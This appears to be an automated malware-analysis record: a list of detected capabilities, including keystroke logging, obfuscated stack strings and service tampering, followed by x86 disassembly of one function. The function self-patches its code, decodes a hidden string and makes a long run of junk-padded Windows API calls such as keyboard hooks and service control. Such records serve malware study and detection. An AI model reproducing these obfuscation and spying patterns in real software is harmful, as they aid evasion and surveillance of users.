Function at 0xa9f000
Capabilities:
Accept command line arguments
Compare security identifiers
Contain obfuscated stackstrings
Create process on windows
Delete file
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file size
Get graphical window text
Get keyboard layout
Get session user name
Identify system language via api
Log keystrokes
Modify service
Query or enumerate registry key
Read .ini file
Resume thread
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov dword [ebp - 0x10], 0xa9fdb0
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa9f036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xa9f1ce
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xa9f0b8
call fcn.0047d332
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xa9f07a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa9f094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xa9f094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa9f04a
mov byte [ebp - 0x70], 9
mov byte [ebp - 0x6f], 0x6a
mov byte [ebp - 0x6e], 4
mov byte [ebp - 0x6d], 0x7a
mov byte [ebp - 0x6c], 0
mov byte [ebp - 0x6b], 0x77
mov byte [ebp - 0x6a], 5
mov byte [ebp - 0x69], 0x70
mov byte [ebp - 0x68], 6
mov byte [ebp - 0x67], 0x77
mov byte [ebp - 0x66], 3
mov byte [ebp - 0x65], 0x2b
mov byte [ebp - 0x64], 7
mov byte [ebp - 0x63], 0x6e
mov byte [ebp - 0x62], 8
mov byte [ebp - 0x61], 0x7f
mov byte [ebp - 0x60], 1
mov byte [ebp - 0x5f], 0x86
mov byte [ebp - 0x5e], 2
mov byte [ebp - 0x5d], 0x81
mov byte [ebp - 0x5c], 0x11
mov byte [ebp - 0x5b], 0xb3
mov byte [ebp - 0x5a], 0x4c
mov byte [ebp - 0x59], 0x52
mov byte [ebp - 0x58], 0x80
mov byte [ebp - 0x57], 0x28
mov byte [ebp - 0x56], 0xc4
mov byte [ebp - 0x55], 0xa3
mov byte [ebp - 0x54], 0xa0
mov byte [ebp - 0x53], 0xcc
mov byte [ebp - 0x52], 0xe
mov byte [ebp - 0x51], 0x68
mov byte [ebp - 0x50], 0xa9
mov byte [ebp - 0x4f], 0xe6
mov byte [ebp - 0x4e], 0x61
mov byte [ebp - 0x4d], 0xca
mov byte [ebp - 0x4c], 0xb2
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xa9f15e
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x25
jae 0xa9f1c3
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x70]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa9f18a
mov dword [ebp - 0x24], 0x11
mov eax, dword [ebp - 8]
add eax, 0xf
mov dword [ebp - 8], eax
jmp 0xa9f156
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x6f]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xa9f1b2
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xa9f19f
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x70]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xa9f156
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa9437a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407560
mov ecx, eax
call fcn.00402b4c
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402af0
and dword [ebp - 0x1c], 0
jmp 0xa9f206
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xa9f216
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xa9f1ff
push 0xe0f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
push 0
push 0
push 0xb57
push 0
push 0x1469
push 0
push 0x224b
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push 0
push 0x1fc9
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapDialogRect]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
push 0x25d1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0x26cc
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
push 0x186e
push 0
push 0
push 0x804
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
push 0xc24
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
call dword [sym.imp.GDI32.dll_GdiFlush]
push 0xb9c
push 0xd7c
push 0x8b2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
push 0x185
call dword [sym.imp.USER32.dll_GetQueueStatus]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x209f
push 0xcf3
push 0x216f
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0x1d91
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
push 0x1a6a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
call dword [sym.imp.COMDLG32.dll_FindTextW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndPage]
push 0
push 0x16db
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
push 0
push 0x1cf0
push 0x18e7
push 0x906
push 0xa5d
push 0x1c9a
push 0x1243
push 0xd97
push 0x17f0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push 0x1179
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
push 0
push 0x1448
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
push 1
push 0x23e3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 0
push 0
push 0x139c
push 0
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0x28f
push 0x17a6
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 0x26dd
push 0x9a0
push 0x235c
push 0x527
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0x9ff
push 0
push 0x2605
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawTextExW]
push 0
push 0
push 0x16ba
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0
push 0x14a8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
push 0
push 0x809
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0x1695
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push 0x1990
push 0
push 0x20
push 0x817
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
push 0x119c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
push 0xef7
push 0x1383
push 0x20f3
push 0x2105
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_IntersectClipRect]
push 0
push 0
push 0x19fe
push 0x384
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
call dword [sym.imp.USER32.dll_GetCapture]
push 0
push 0x173c
push 0xa3d
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
push 0x16a4
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
push 0x205d
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
push 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
push 0
push 0x395
push 0
push 0
push 0x54c
push 0x21e5
push 0x247d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
push 0xe6d
push 0x218a
call dword [sym.imp.USER32.dll_SetCaretPos]
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0x1d72
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
push 1
push 0
push 0x343
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollInfo]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0
push 0
push 0xcec
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
push 0xa35
push 0
call dword [sym.imp.ADVAPI32.dll_ControlService]
push 0x12d7
push 0x455
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0x131a
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
push 0
push 0x3e8
push 0x25ed
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x1ba4
push 0x12e3
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
call dword [sym.imp.USER32.dll_CreatePopupMenu]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
push 0x770
push 0x3c0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
push 0
push 0x259
push 0
push 0
push 0x22a4
push 0x88d
call dword [sym.imp.USER32.dll_ToAsciiEx]
push 0x22c1
push 0
push 0
push 0x1b82
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
push 0x25da
push 0x2040
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_LineTo]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0
push 0x1d5a
push 0x626
push 0x1307
push 0x15df
push 0x13e9
push 0x42d
push 0x2413
push 0x16ec
push 0x9e
push 0xca1
push 0x1e34
push 0xc77
push 0x1395
call dword [sym.imp.GDI32.dll_CreateFontA]
push 0x1eb
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
push 0
push 0
push 0x267a
push 0x871
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
push 0x1c30
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x1e87
push 0x618
push 0x2547
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0x10cb
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
push 0
push 0x11c
push 0x2391
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0x14e0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push 0
call dword [sym.imp.KERNEL32.dll_EncodePointer]
push 0
push 0xfae
push 0x24bf
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0xfc6
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
push 0x16ab
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0xfdd
push 0x2254
call dword [sym.imp.GDI32.dll_CreatePen]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
push 0x24f4
push 0xe27
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_GetMessageA]
push 0x92b
call dword [sym.imp.USER32.dll_MessageBeep]
push 0x1480
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0
call dword [sym.imp.USER32.dll_RegisterClassA]
call dword [sym.imp.USER32.dll_DestroyCaret]
push 0x1442
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
push 0x14a5
push 0
push 0x2524
push 0x1f0b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
call dword [sym.imp.USER32.dll_GetMessageTime]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push 0x202e
push 0x12dc
push 0x62f
push 0x72c
push 0x33
push 0x1e9f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push 0
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0
push 0
push 0x1555
push 0x10b2
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
push 0x119a
push 0x1702
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0
push 0
push 0x1d94
push 0xf89
push 0
call dword [sym.imp.USER32.dll_ModifyMenuW]
push 0xa4f
push 0x1b78
push 0
call dword [sym.imp.USER32.dll_RemoveMenu]
call dword [sym.imp.USER32.dll_CreateMenu]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
push 0x1d46
push 0xfa5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemInt]
push 0x1cbc
push 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
push 0
push 0
push 0
push 0
push 0x702
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
push 0
push 0xdcf
push 0x1309
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MoveToEx]
push 0
push 0x2121
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
push 0x15b4
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
push 0
call dword [sym.imp.USER32.dll_SetKeyboardState]
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
push 0x794
push 0xff6
push 0xf8c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
push 0xc34
push 0
push 0
push 0x252b
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0xb83
push 0x1e33
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0
push 0xbe9
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
push 0x1734
push 0
push 0x2081
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
jmp 0xa9fdba
mov esp, ebp
pop ebp
ret